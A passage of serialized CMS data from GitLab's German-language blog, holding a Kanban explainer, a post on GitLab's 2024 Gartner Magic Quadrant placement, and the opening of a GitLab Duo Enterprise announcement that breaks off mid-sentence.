näher darauf eingehen, sehen wir uns an, worum es bei Kanban ganz genau geht.\n\n## Was ist ein Kanban-Board?\nHeute assoziieren wir mit dem Wort “Kanban” vor allem die Darstellung der Arbeitsschritte in einem sogenannten “Board”.\n\nEin Kanban-Board ist eine visuelle Repräsentation der anfallenden Aufgaben eines Projekts in einer klar strukturierten zeitlichen Abfolge. Aufgaben werden als Kärtchen in diesem Board dargestellt. So kannst du anhand dieser Übersicht erkennen, in welchem Stadium sich ein Task befindet. Egal, ob der Task beispielsweise kurz vor der Vollendung steht oder sich noch in Bearbeitung befindet.\n\nAuch zeigt ein Board alle Aufgaben an, die noch nicht bearbeitet wurden, aber noch anstehen. So erfasst du auf einen einzigen Blick den Stand der zukünftigen Arbeitslast. Daraus ergeben sich konkrete Anforderungen an deine Planung.\n\n## Wie funktioniert das Kanban-System?\nKanban ist eine Methode der [agilen Planung](https://about.gitlab.com/de-de/solutions/agile-delivery/). Auf einem Kanban-Board wandern die Aufgabenkärtchen von links, dem Ort der To-do-Liste, nach rechts, in Richtung des fertigen Produkts. Sobald die auf einer Karte vorgeschriebene Aufgabe bearbeitet wurde, verschwindet sie vom Board und macht den Weg frei für neue Karten.\n\nIn seiner einfachsten Form hat ein Kanban-Board somit drei Spalten: “Zu erledigen”, “In Bearbeitung” und “Erledigt”.\n\n## Beispiele für Kanban-Boards\nGrundsätzlich gibt es zwei verschiedene Varianten eines Kanban-Boards: Physische und virtuelle.\nPhysische Kanban-Boards waren in der Frühphase des Konzepts der Standard. Sie bestehen im Wesentlichen aus einem Whiteboard oder einer Pinnwand, die, wie oben beschrieben, in Spalten aufgeteilt wird und an denen Karteikarten oder auch größere Papierblätter befestigt werden.\n\nSobald sich eine Änderung im Prozess ergibt, passen Mitarbeiter:innen die Karte auf dem Board an und machen die Veränderung damit für das gesamte Team sichtbar.\n\nIn modernen visuellen Boards findet die Darstellung innerhalb einer Softwareumgebung statt. GitLab zum Beispiel bietet im Rahmen seiner Issue-Boards eine Funktionalität an, Kanban in DevOps-Prozesse einzubinden.\n\nInteressanterweise finden physische Boards auch heute noch Anwendung und daher empfehlen viele Expert(inn)en und Kanban-Coaches Unternehmen, bei der Umsetzung von Kanban mit einem solchen materiellen Brett zu beginnen. So schreibt das Fachmagazin IT-Agile in einem groß angelegten Spezial:\n\n*“Physische Boards machen vieles einfacher und transparenter. Elektronische Tools führen oft zusätzliche Komplexität ein, die von den eigentlichen Problemen ablenkt.”*\n\n## Die Kanban-Methode als Veränderungsmanagement und Verbesserungsmanagement\nMit Kanban zu arbeiten bedeutet, ein Kanban-Board zu verwenden und es fortlaufend zu aktualisieren. Dennoch entwickelte Ohno die Grundzüge von Kanban interessanterweise ohne ein Board. Das bedeutet:\n\nDie Anwesenheit eines Boards deutet zwar in der Regel auf einen Kanban-Ansatz hin. Aber das Kanban-Verfahren ist, was die Theorie betrifft, auch ohne Board denkbar.\n\nOhno wollte Toyotas Organisation nicht radikal verändern, sondern sie vielmehr sanft und unter enger Mitarbeit aller Beteiligten erneuern. Dies spiegelt sich wider in einem Zitat von David J. Anderson [David J. Anderson](https://se-radio.net/2010/02/episode-156-kanban-with-david-anderson/):\n\n*“Kanban ist keine Ingenieursmethode oder Management-Methode. Es ist eine Technik, mit Veränderungen umzugehen. Es geht darum, Veränderungen zu provozieren und eine Kultur der ständigen Verbesserung zu erreichen.”*\n\nDiese Auffassung erklärt auch, warum Kanban mit einer Vielzahl verschiedener Philosophien kombiniert werden kann: Es diktiert nicht so sehr, wie ein Unternehmen geführt werden sollen. Es legt sich vielmehr über bereits bestehende Abläufe und macht sichtbar, wo Optimierungen möglich oder sogar erforderlich sind. \n\n## Worum geht es bei der Kanban-Methode?\nWer einmal in einer auf Kanban ausgerichteten Organisation mitgewirkt hat, wird den Flow-Charakter, der auf dem Board visualisiert wird, bemerkt haben: Teams benötigen hier kaum ein Einwirken von oben, organisieren sich innerhalb vorgegebener Einschränkungen selbst und kommen eigenständig zu Ergebnissen und Lösungen. \n\nDiese Optimierung der Flow-Effizienz war auch genau der Punkt, der Taiichi Ohno am Herzen lag, als er für Toyota nach dem Zweiten Weltkrieg sein System entwickelte, um der japanischen Automobilindustrie den Anschluss an die westlichen Hersteller zu ermöglichen.\n\nDamals wurden Prozesse oftmals zentral exakt vorgeplant, gerieten aber immer wieder aufgrund praktischer Probleme ins Stocken. Bei umfangreicheren Anpassungen mussten die Computer umprogrammiert werden, was bis zu zwei Wochen in Anspruch nehmen konnte.\n\nKanban war eine Methode, Prozesse am Laufen zu halten und “Work in Progress”, also unfertige Zwischenprodukte auf ein Minimum zu beschränken.\n\n## Grundsätze: Wie funktioniert das Kanban-System?\nKanban sorgt für Ordnung, ist aber ungemein flexibel. Es hat einen sehr einfachen Aufbau, kann aber auch in großen, komplexen Unternehmen verwendet werden.\n\nTrotzdem hat es nicht an Versuchen gemangelt, Kanban ein wenig genauer zu gliedern. So gibt es, je nach Autor(in), 6 „Kanban-Praktiken“, 4 „Kanban-Prinzipien“, 3 „Kanban-Agenden“ und 2 „Kanban-Regeln“.\n\nMan braucht gewiss nicht alle zu kennen, um Kanban erfolgreich anwenden zu können. Die drei wichtigsten grundlegenden Prinzipien aus den genannten Grundsätzen lauten:\n\n**- Visualisiere die Arbeit. Der Blick aus der Vogelperspektive lässt Strukturen erkennen. Er zeigt das, was Taiichi Ohno als “Verschwendung” bezeichnete, die im laufenden Betrieb, also bei der Arbeit, nicht erkennbar ist. Ohno bezog sich darauf mit seiner Anweisung, “das Verborgene sichtbar zu machen”. Erst die Visualisierung auf einem Kanban-Board sorgt für die Automatisierung der Prozesse, welche zu einem verbesserten Flow und erhöhter Effizienz führt.**\n\n**- Reduziere unfertige Zwischenprodukte auf ein Minimum. Bei Toyota in den 40ern bedeutete dies, erst dann mit der Arbeit an einem neuen Wagen zu beginnen, sobald eine bestimmte Anzahl von ihnen komplett abgeschlossen und bereit für den Verkauf waren. Zwischenprodukte halten den Flow auf und sorgen oftmals für hohe Kosten.**\n\n**- Bevor du alternative Konzepte ausprobierst oder Produkte änderst, fange mit deiner aktuellen Praxis an. Erst sobald du diese verbessert hast, wende dich neuen Ufern zu.**\n\n## Kanban: Agile oder Lean?\nHeute wird die Kanban-Methode oft durch die Linse der agilen Entwicklung betrachtet. Das ist verständlich, denn tatsächlich war es das agile Manifest aus dem Jahr 2001, das den Weg für den breiten Einsatz von Kanban in DevOps bereitete.\n\nDoch ist Kanban bereits weitaus früher entstanden, weit früher auch als Konzepte wie das Wasserfallmodell, welches heute bereits als überholt gilt. Und in den Prinzipien und Regeln die Taiichi Ohno für Toyota aufstellte, spiegeln sich auch viele Grundsätze des Lean-Managements wider.\n\nSo ist es sicherlich richtig, Kanban als Teil beider Ansätze zu sehen. Der Just-in-Time-Ansatz rückt Kanban etwas näher an die agile Methodologie, der Grundsatz der sorgsamen Ressourcen-Nutzung eher in Richtung der Konzepte der Lean-Managements.\n\nMan könnte auch sagen, dass Kanban einen Ausgleich zwischen den beiden Konzepten herstellt. Während Lean nämlich Perfektion und vollständige Informationen anstrebt, ist es bei Agile wichtiger, Dinge auch bei unvollständiger Datenlage zu tun und entstehende Schwierigkeiten durch Improvisation und Lösungen aus der Praxis heraus zu korrigieren.\n\nKanban erlaubt es, die Zwischenräume zwischen diesen Polen auszuloten und dabei zu individuellen Ansätzen zu gelangen.\n\n## Scrum vs. Kanban: Übersicht\nVielleicht fragst du dich nach dem, was du bis jetzt gelesen hast, ob eher Kanban oder Scrum für dein Unternehmen die richtige Wahl ist.\n\nDiese Frage ist aber letzten Endes in dieser Form nicht zielführend. Denn sowohl Scrum als auch die Kanban-Methode schließen sich nicht gegenseitig aus und werden in der Praxis oft miteinander kombiniert.\n\nBei Scrum handelt es sich um einen Projektmanagement-Ansatz, bei dem Wissen (in der Form von Daten aus der Planung und dem Prozess) genutzt wird, um iterativ und über möglichst viele testbare Produkte den Kundennutzen zu maximieren.\n\nVergleichen wir Scrum vs Kanban, fällt schnell auf, dass die beiden nicht deckungsgleich sind. Die vier Prinzipien von Scrum sind „Transparenz“, „Inspektion“, „Adaptation“ und “Vertrauen”. Dem stehen die von David J. Anderson vorgegebenen Kanban-Werte der „Transparenz“, „Balance“ (Vermeiden von Ungleichgewichten) und „Kollaboration“ gegenüber.\n\nDaraus wird direkt ersichtlich, dass Scrum mehr Wert auf Daten und Prozesse legt, während Kanban in erster Linie auf menschliche Zusammenarbeit setzt. Dennoch können die beiden Ansätze einander hervorragend ergänzen.\n\n## Scrum vs. Kanban: Unterschiede\nWas ist der Unterschied zwischen Scrum und Kanban? Ein Kernunterschied besteht darin, dass du bei Kanban Prozesse tendenziell nicht terminierst. Der Flow soll zwar optimiert werden, doch die Fließgeschwindigkeit ergibt sich aus der Arbeitspraxis. Fixe zweiwöchige Sprints und ein eindeutiges Enddatum laufen dieser Idee zuwider.\n\nAuch verlangt Scrum zwangsweise, dass Abläufe ein festes Raster haben. Sprints müssen nicht zwangsläufig einem Zwei-Wochen-Rhythmus folgen. Aber eine Vorgabe regelmäßiger Ziele ist sehr wohl erforderlich. Die Treffen dienen dabei sowohl dem Informationsaustausch im Team, als auch dazu, den Grad der Zielerreichung stets wieder aufs Neue zu determinieren.\n\nDennoch ist ein “Scrumban” möglich. Denn auch ein Scrum-Prozess lässt sich über ein Kanban-Board recht bequem abbilden. Werden die Spalten passend definiert, ist es sogar kaum von “konventionellen” Board zu unterscheiden.\n\nMit seiner Betonung empirischer Daten füttert Scrum das Kanban-Board mit wertvollem Feedback, welches hilft, den Flow weiter zu optimieren. Und dank seiner Reduzierung von Engpässen und Work in Progress sorgt Kanban für eine Organisation, in der Scrum optimal umgesetzt werden kann.\n\nScrumban erweist sich in der Praxis oftmals als schwierig. Aber das Gleiche gilt auch für Scrum, das sich durchaus nicht immer intuitiv in die meisten Organisationsstrukturen einfügt. Letzten Endes kommt alles auf die Umsetzung an.\n\n## Wann funktioniert Kanban nicht?\nWenn du darüber nachdenkst, was das Kanban-System ist, ist es leicht ersichtlich, dass es in jedem Unternehmen Anwendung finden kann. Aber nicht jedes Unternehmen ist bereit für Kanban.\n\nIm direkten Vergleich zu Scrum fällt die Realisierung aber sicherlich weitaus leichter aus. Hier sind drei typische Gründe, warum die Implementierung von Kanban eventuell dennoch nicht funktioniert:\n\n**- Das Kanban-Projektmanagement ist für selbstorganisierende Teams entwickelt worden.** Das bedeutet, dass die Mitarbeiter(innen) im Rahmen von Vorgaben operieren, die ihnen gestellt werden. Wenn diese Vorgaben nicht ausreichend genau ausfallen oder sogar unerwünschte Anreize vorgeben, kann sich Kanban nicht entfalten.\n\n**- Die Prozesse, die über die Kanban-Methode laufen, sollten immer wieder hinterfragt werden.** Das gelingt beispielsweise mit einem externen Kanban-Coach, der/die mit seinen/ihren Impulsen Umsetzungsschwierigkeiten minimiert. Fehlt eine solche Bezugsperson, kommt es unter Umständen zu Kompetenzfragen, Zuordnungsproblemen oder einem Stocken des Flusses.\n\n**- Softwareentwicklung ist sehr dynamisch und die Bedingungen ändern sich nahezu täglich.** In einem solchen Umfeld wird die Aktualisierung des Kanban-Boards zu einer Aufgabe, die eine Menge Ressourcen verlangt. Rob Williams hat dies folgendermaßen auf den Punkt gebracht: “Das größte Problem mit Kanban besteht darin, dass es für eine Welt entworfen wurde, in der Produkte nur ein einziges Mal den Prozess durchlaufen, wie beispielsweise bei einem Automobilhersteller. In der Software-Branche ist dies nahezu niemals der Fall.”\n\nGelegentlich sind die Erwartungen an die Kanban-Methode zu hoch. Wenn sich keine schnellen Erfolge in der Form von Kosteneinsparungen, höherer Innovation oder gesteigerten Umsätzen einstellen, liegt oft die Versuchung nahe, zu alten Gewohnheiten zurückzukehren.\n\n## Wie gliedere ich mein Kanban-Board?\nWie bereits erwähnt, besteht das klassische Kanban-Board aus nur drei Spalten: „To-do“, „In Bearbeitung“ und „Erledigt“.\n\nAllerdings erlauben es alle gängigen Kanban-Boards, darunter auch die Issue-Boards von GitLab, die Spalten nicht nur anders zu benennen, sondern auch noch zusätzliche hinzuzufügen.\n\nFrage dich dazu Folgendes:\n\n### Ist das Hauptkriterium der zeitliche Ablauf?\nDann bist du mit einem klassischen Kanban-Board bestens beraten.\n\nFür eine genauere Analyse des Status Quo kannst du diese Spalten nun genauer unterteilen. So ist es denkbar, zu bearbeitende Tasks danach zu gliedern, welche bereits begonnen wurden, aber aktuell nicht umgesetzt werden können (beispielsweise aufgrund von Lieferengpässen).\n\nDu kannst das Board ebenfalls um eine Spalte mit freiem Brainstorming ergänzen. Nur die besten Ansätze werden in den To-do-Teil übernommen. \n\n### Arbeitest du auf eine Reihe von Events hin?\nDann hast du zwei Optionen. Lege entweder für jedes Event ein eigenes Board an.\n\nOder, wenn die Events eng miteinander verbunden sind, lege diese in ein geteiltes Board, in dem jedem Event eine eigene Spalte zugeteilt ist, die wiederum in verschiedene Unterspalten aufgeteilt ist.\n\nSo behältst du auch in der Gesamtplanung stets die Übersicht.\n\n### Liegt dein Schwerpunkt in der Softwareentwicklung?\nIn der Softwareentwicklung durchlaufen Produkte eine Reihe zusätzlicher Stadien. Hier kann es von Vorteil sein, diese festen Abläufe in Kanban abzubilden. Die Beraterin Danielle Berg nennt beispielsweise die folgenden  Spalten: \n\n- (Code-) **Review**\n\n- **Test** (in unterschiedlichen Abstufungen):\n\n- **On-Hold** (Projekte, die begonnen wurden, aber an denen aktuell nicht weitergearbeitet werden kann.)\n\nDie Spalte “Test” kann sogar noch weiter untergliedert werden in:\n\n**- interne Prüfung,**\n\n**- Prüfung beim/bei der Kunden(in),**\n\n**- akzeptiert vom/von der Kunden(in).**\n\nIn anderen Branchen können entsprechend Spalten wie “Konzept/Entwicklung” oder auch “Beschaffung” (entweder in der Form von Wartezeiten wegen Lieferengpässen oder, weil ein Produkt speziell angefertigt werden muss) sinnvoll sein.\n\n## GitLab-Issue-Boards und Kanban Projekt-Management\nGitLab wurde zwar nicht als Kanban-Tool konzipiert. Aber aufgrund der engen Verwandtschaft zwischen DevOps und der Kanban-Methode bestand zwischen ihnen stets eine Verbindung. Gerade in der Softwareentwicklung kommen Kanban-Boards hervorragend zur Geltung.\n\nUm von diesen Vorteilen auch in GitLab profitieren zu können, stehen dir unsere Issue-Boards zur Verfügung. Issue-Tracker ähneln in ihrem Aufbau Kanban-Boards, sind aber weniger auf den gesamten Workflow eines Projekts ausgerichtet, sondern zielen mehr auf die Lösung ganz konkreter Probleme und Bugs ab.\n\nDie Überschneidungen aber sind offensichtlich. Daher wurden die GitLab-Issue-Boards um Features wie Roadmap Building erweitert, um eine volle Kanban-Funktionalität zu bieten.\n\n## Wie nutze ich GitLab-Issue-Boards für mein Kanban?\nUm Kanban in GitLab zu nutzen, lege einfach in dem Issue-Tracker ein Board im Kanban-Stil an.\n\nDazu wählst du so viele Listen aus, wie du Spalten in deinem Kanban-Board wünschst. Das bedeutet in der einfachsten Variante die drei Spalten “To Do”, “In Bearbeitung” und “Erledigt”. Alternativ ist ein ebenfalls empfehlenswerter Aufbau die Vierteilung in “Backlog”, “In Bearbeitung”, “Wartet auf” und “Erledigt”.\n\nEinzelne “Issues” (Aufgaben) entsprechen nun den Karten in einem Kanban-System. Sie können von den Anwender(inne)n oder Teams, die mit der Bearbeitung beauftragt sind, aus dem Backlog in die Bearbeitung gezogen und nach Beendigung in die “Erledigt”-Liste abgelegt werden.\n\nDie Integration von Kanban in die GitLab-Issue-Boards wird ständig um neue Funktionen erweitert. So steht dieses Feature spezialisierten Kanban-Tools im Wesentlichen um nichts mehr nach.\n\nEntwickelt von Entwickler(innen) für Entwickler(innen) liegt sein großer Vorteil darin,  Development, Anforderungen, Dokumentation und CI/CD an einem Ort zu bündeln.\n\nAusführliche Informationen dazu findest du in unserem [GitLab-Handbuch](https://handbook.gitlab.com/handbook/marketing/project-management-guidelines/boards/).",[973],{"slug":2741,"featured":6,"template":682},"what-is-kanban","content:de-de:blog:what-is-kanban.yml","What Is Kanban","de-de/blog/what-is-kanban.yml","de-de/blog/what-is-kanban",{"_path":2747,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2748,"content":2753,"config":2759,"_id":2761,"_type":16,"title":2762,"_source":17,"_file":2763,"_stem":2764,"_extension":20},"/de-de/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops",{"title":2749,"description":2750,"ogTitle":2749,"ogDescription":2750,"noIndex":6,"ogImage":1228,"ogUrl":2751,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2751,"schema":2752},"GitLab ist ein Leader im Gartner Magic Quadrant für DevOps-Plattformen 2024","GitLab ist in den Bereichen „Ability to execute“ und „Completeness of vision“ am besten positioniert. Eine Anerkennung für unsere Kund(inn)en und GitLabs DevOps-Innovationen.","https://about.gitlab.com/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab ist ein Leader im Gartner Magic Quadrant für DevOps-Plattformen 2024\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ashley Kramer\"}],\n        \"datePublished\": \"2024-09-05\",\n      }\n                  ",{"title":2749,"description":2750,"authors":2754,"heroImage":1228,"date":2756,"body":2757,"category":723,"tags":2758,"updatedDate":1650},[2755],"Ashley Kramer","2024-09-05","DevOps war ursprünglich nur ein Konzept – eine Methode, um Software schneller bereitzustellen, indem traditionell getrennte Teams zusammengebracht werden. Es war eine Antwort auf alle Probleme, die durch die Trennung zwischen denen, die Software entwickelten, und denen, die sie einsetzten, verursacht wurden. \n\nBei GitLab haben wir dieses Konzept weiterentwickelt: Anstatt Tools zu einer komplexen DevOps-Toolchain zusammenzufügen, würde eine [einheitliche DevOps-Plattform](https://about.gitlab.com/de-de/platform/) eine engere Zusammenarbeit, eine stärkere Automatisierung sowie skalierbare und standardisierte Prozesse ermöglichen. \n\nWir glauben, dass diese Strategie, die auf den Erfolg unserer Kund(inn)en ausgerichtet ist, die richtige Wahl war. In der zweiten Iteration des [Gartner Magic Quadrant für DevOps-Plattformen](https://about.gitlab.com/de-de/gartner-magic-quadrant/) sind wir erneut Leader. Diesmal sind wir auf beiden Achsen „Ability to Execute“ und „Completeness of vision“ am besten positioniert.\n\n![Bild von Gartner MQ für DevOps-Plattformen 2024](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674334/Blog/Content%20Images/figure1.png)\n\n> Lade den [Bericht des Gartner® Magic Quadrant™ für DevOps-Plattformen 2024](https://about.gitlab.com/gartner-magic-quadrant/) herunter.\n\nDie Softwareunternehmen von heute müssen sich mit zunehmenden Sicherheitsbedrohungen, komplexen Compliance-Anforderungen und der vorsichtigen Einführung neuer Technologien wie generativer KI auseinandersetzen. Außerdem müssen sie ihr Versprechen von skalierbaren Dienstleistungen und kontinuierlicher Innovation gegenüber ihren eigenen Kund(inn)en einhalten.\n\nMit GitLab können unseren Kund(inn)en sich diesen Herausforderungen stellen und in ihren Branchen führend werden. Dank unserer KI-basierten DevSecOps-Plattform wird die Sicherheit früher im SDLC berücksichtigt, Transparenz im gesamten Entwicklungslebenszyklus geschaffen und alle Beteiligten zusammengebracht, um die Software zu entwickeln, die unsere Welt antreibt.\n\n## Die DevOps-Vision fördern\n\nUnsere Arbeit hier ist noch nicht erledigt. Wir werden die DevOps-Vision weiter vorantreiben und unsere DevSecOps-Plattform auf zwei Arten weiterentwickeln.\n\nZum einen wollen wir noch mehr Teams dazu einladen, auf einer gemeinsamen Plattform zusammenzuarbeiten, und zwar mit speziellen Funktionen für diejenigen, die sich mit [Agile Planning](https://about.gitlab.com/de-de/blog/categories/agile-planning/), [Data Science](https://about.gitlab.com/de-de/topics/devops/the-role-of-ai-in-devops/) und [Beobachtbarkeit und Anwendungsüberwachung](https://docs.gitlab.com/operations/observability/) (englischsprachige Seite) beschäftigen.\n\nZum anderen wollen wir die Optionen für die Einführung und Bereitstellung unserer Plattform noch flexibler gestalten, um die unterschiedlichen Bedürfnisse unserer Kund(inn)en zu erfüllen. Dazu gehört auch die Investition in [GitLab Dedicated](https://about.gitlab.com/de-de/dedicated/), unsere gehostete Single-Tenant-Option, mit der Unternehmen in stark regulierten Branchen die Einfachheit von SaaS und die Leistungsfähigkeit der neuesten Funktionen und Möglichkeiten nutzen und gleichzeitig die Compliance-Anforderungen einer isolierten Infrastruktur erfüllen können.\n\n## Unterstützung von Unternehmen bei der Entwicklung sicherer Software\n\nNeben der Entwicklung einer besseren Plattform für die Zusammenarbeit bei der Bereitstellung von Software gehört es zu den wichtigsten Aufgaben von GitLab, Unternehmen bei der Entwicklung sicherer und gesetzeskonformer Software zu unterstützen. Unsere Vision unterscheidet uns hier von anderen, denn GitLab integriert [Sicherheitsscans](https://about.gitlab.com/de-de/solutions/security-compliance/) bereits bei der Übergabe des Codes und nicht erst, wenn die Anwendungen zur Veröffentlichung bereit sind. Das hilft den Teams, Sicherheitslücken früher zu erkennen, was zu schnelleren Release-Zyklen führt. GitLab erleichtert außerdem die Einhaltung von Richtlinien durch Leitlinien und die automatische Erstellung [einer Software-Stückliste](https://about.gitlab.com/de-de/blog/the-ultimate-guide-to-sboms/).\n\nWir wissen, dass unsere Kund(inn)en mit immer mehr Sicherheitsbedrohungen konfrontiert sind, wenn die Angriffsfläche für ihre eigene Software wächst. Deshalb planen wir, in den nächsten 12 Monaten unsere SAST-Scanner weiter zu verbessern, zusätzliche Richtlinienkontrollen hinzuzufügen und [einen neuen nativen Geheimnismanager](https://about.gitlab.com/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost/) (englischsprachiger Artikel) zu erstellen.\n\n## Führend mit KI im gesamten SDLC\n\nUnsere Vision ist es, auch im Bereich KI führend zu sein – und zwar nicht nur, wenn es darum geht, unseren Kund(inn)en zu ermöglichen, innovative Software mit KI zu entwickeln, sondern auch, wenn es darum geht, dies mit datenschutzorientierter KI-Technologie zu tun. Die künstliche Intelligenz bedeutet einen gewaltigen Sprung nach vorn und bietet unglaublich viele Möglichkeiten, wenn sie in den gesamten Software-Entwicklungsprozess integriert wird. Wir entwickeln Innovationen verantwortungsbewusst. Wir haben die Bedenken unserer Kund(inn)en gehört: Sie wollen [KI mit Leitlinien](https://about.gitlab.com/the-source/ai/velocity-with-guardrails-ai-automation/) (englischsprachiger Artikel), [KI, die transparent ist](https://about.gitlab.com/de-de/ai-transparency-center/) und KI, die ihren Code und ihr geistiges Eigentum respektiert.\n\n[GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/), eine Suite von KI-gestützten Funktionen für unsere DevSecOps-Plattform, soll die folgenden Kriterien erfüllen: sie soll umfassend, datenschutzorientiert und den gesamten Lebenszyklus der Softwareentwicklung unterstützen.\n\nWir glauben, dass dieses Engagement und unsere GitLab-Duo-Funktionen der Grund dafür sind, dass [Gartner® uns kürzlich auch in seinem ersten Magic Quadrant™ für KI-Programmierassistenten zum Leader ernannt hat](https://about.gitlab.com/de-de/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants/).\n\nWir sind stolz auf diese Auszeichnung und sehen sie als Signal, weiterhin auf euch – unsere Kund(inn)en – zu hören, denn das treibt unsere Vision, unsere Produkt-Roadmap und unser Engagement an, die beste DevSecOps-Plattform zu liefern.\n\n> Lade den [Bericht des Gartner® Magic Quadrant™ für DevOps-Plattformen 2024](https://about.gitlab.com/de-de/gartner-magic-quadrant/) herunter.\n\n***Quelle: Gartner, Magic Quadrant für DevOps-Plattformen, Keith Mann, Thomas Murphy, Bill Holz, George Spafford, August 2024***\n\n***GARTNER ist eine eingetragene Marke und Dienstleistungsmarke von Gartner, Inc. und/oder seinen verbundenen Unternehmen in den USA und international, und MAGIC QUADRANT ist eine\neingetragene Marke von Gartner, Inc. und/oder seinen verbundenen Unternehmen und wird hierin mit Genehmigung verwendet. Alle Rechte vorbehalten.***\n\n***Gartner empfiehlt keine Anbieter, Produkte oder Dienstleistungen, die in seinen Forschungspublikationen abgebildet sind, und rät Technologiebenutzer(inne)n nicht, nur die Anbieter mit den höchsten Bewertungen oder anderen Bezeichnungen auszuwählen. Gartner-Forschungspublikationen stellen die Meinungen der Forschungsorganisation von Gartner dar und sollten nicht als Tatsachenbehauptungen ausgelegt werden. Gartner lehnt alle ausdrücklichen oder stillschweigenden Gewährleistungen in Bezug auf diese Studie ab, einschließlich aller Gewährleistungen der Marktgängigkeit oder Eignung für einen bestimmten Zweck.***\n\n***Diese Grafik wurde von Gartner Inc. als Teil eines umfassenderen Berichts veröffentlicht und sollte im Kontext des gesamten Dokuments bewertet werden. Das Gartner-Dokument ist auf Anfrage bei Gartner erhältlich.***",[723,1470,746,2033,787],{"slug":2760,"featured":92,"template":682},"gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops","content:de-de:blog:gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops.yml","Gitlab Named A Leader In The 2024 Gartner Magic Quadrant For Devops","de-de/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops.yml","de-de/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops",{"_path":2766,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2767,"content":2773,"config":2779,"_id":2781,"_type":16,"title":2782,"_source":17,"_file":2783,"_stem":2784,"_extension":20},"/de-de/blog/gitlab-duo-enterprise-is-now-available",{"title":2768,"description":2769,"ogTitle":2768,"ogDescription":2769,"noIndex":6,"ogImage":2770,"ogUrl":2771,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2771,"schema":2772},"GitLab Duo Enterprise ist jetzt verfügbar","Mit Gitlab Duo Enterprise haben Unternehmen jetzt einen durchgängigen KI-Partner für schnellere, sicherere Softwareentwicklung! Erfahre, wie GitLab Duo Enterprise den gesamten DevSecOps-Lebenszyklus unterstützt.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665660/Blog/Hero%20Images/Untitled__1800_x_945_px_.png","https://about.gitlab.com/blog/gitlab-duo-enterprise-is-now-available","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Enterprise ist jetzt verfügbar\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2024-09-03\",\n      }\n                  ",{"title":2768,"description":2769,"authors":2774,"heroImage":2770,"date":2775,"body":2776,"category":677,"tags":2777,"updatedDate":2778},[1592],"2024-09-03","[GitLab Duo Enterprise](https://about.gitlab.com/de-de/gitlab-duo/) ist der durchgängige KI-Partner, der für den gesamten Software-Entwicklungsprozess konzipiert wurde. Die leistungsstarke Suite aus KI-Tools steigert die Produktivität der Entwickler(innen), verbessert die Sicherheit, optimiert die Zusammenarbeit und beschleunigt deine DevSecOps-Prozesse.\n\nDie wichtigsten Funktionen auf einen Blick:\n- Intelligente Codeunterstützung in über 25 Programmiersprachen\n- KI-basierte Details und Lösungen zu Sicherheitslücken\n- Automatisierte Testgenerierung und Ursachenanalyse\n- Verbesserte Teamzusammenarbeit mit KI-gesteuerten Zusammenfassungen\n- ROI-Quantifizierung durch ein KI-Impact-Dashboard\n\n## Warum wir GitLab Duo Enterprise entwickelt haben \n\nUnternehmen, die versuchen, bessere Software schneller bereitzustellen und so einen höheren Nutzen für Kund(inn)en zu schaffen, stehen meist vor erheblichen Herausforderungen, die ihren Fortschritt verlangsamen. [Unsere Forschung](http://about.gitlab.com/de-de/developer-survey/2024/ai) zeigt, dass 95 % der Unternehmen KI gerade entweder evaluieren oder bereits im Lebenszyklus der Softwareentwicklung einsetzen. 55 % der Befragten gaben jedoch an, dass sie den Einsatz von KI für die Softwareentwicklung für zu riskant halten.\n\nDie Skepsis der Unternehmen basiert auf suboptimalen Erfahrungen in Zusammenhang mit der Produktivität der Entwickler(innen), steigenden Sicherheits- und Compliance-Anforderungen, ineffizienter Zusammenarbeit zwischen Teams und Schwierigkeiten bei der Bewertung des ROI von KI-Technologieinvestitionen. GitLab Duo Enterprise geht direkt auf diese Herausforderungen ein und ist ein sicherer, effizienter und leistungsstarker KI-Partner für deine Entwicklungsteams.\n\n**Sehen wir uns an, wie GitLab Duo Enterprise die Art und Weise verändern kann, wie dein Unternehmen Software entwickelt und bereitstellt.**\n\n## Steigere die Produktivität deiner Entwickler(innen) mit intelligenter Codeunterstützung\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1004252678?h=83f35171b6&badge=0&badge=0&amp?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Code Suggestions clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nEine der Haupthürden in der Softwareentwicklung sind routinemäßige Programmieraufgaben, die sehr zeitaufwendig sind. Hier schafft Gitlab Duo Enterprise Abhilfe – denn mit den folgenden Tools erledigst du die wichtigsten Aufgaben jetzt deutlich schneller:\n\n- __Codevorschläge__ in mehr als 25 Programmiersprachen. Dieses KI-basierte Tool beschleunigt die Codeerstellung, verbessert die Codequalität und reduziert den Zeitaufwand für Boilerplate-Aufgaben.\n\nAber es geht nicht nur darum, neuen Code zu schreiben. \n\n- Die __Code-Erklärung__ von GitLab Duo Enterprise ermöglicht es Entwickler(inne)n, komplexen oder unbekannten Code schnell zu verstehen, während \n\n- __Code-Refactoring__ es Entwickler(inne)n ermöglicht, [bestehenden Code zu verbessern und zu 